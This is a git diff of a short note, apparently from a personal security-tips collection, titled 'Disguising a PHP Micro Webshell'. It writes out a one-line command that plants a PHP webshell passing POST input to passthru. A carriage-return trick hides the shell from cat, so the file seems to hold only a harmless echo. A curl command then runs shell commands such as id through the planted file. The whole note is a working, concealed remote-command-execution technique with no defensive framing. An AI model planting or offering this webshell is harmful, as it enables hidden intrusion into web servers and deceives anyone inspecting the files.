diff --git a/php/tw/2015-09-12.php b/php/tw/2015-09-12.md
similarity index 50%
rename from php/tw/2015-09-12.php
rename to php/tw/2015-09-12.md
index 773931f..142b94c 100644
--- a/php/tw/2015-09-12.php
+++ b/php/tw/2015-09-12.md
@@ -1,12 +1,15 @@
 Disguising a PHP Micro Webshell 
 
-` echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > test.php` 
+`echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > test.php` 
 
 url : http://t.co/YFm6QlpK0k
 
 vist browser  page show `A PHP Test`
 
-then in console 
+then in console use `cat xxx.php`
+it show `<?php echo 'A PHP Test ';" ?>`
+
+then in console run
 `curl -d 1=id http://www.xxx.xx/xx.php`
 
 it like in console show command `id`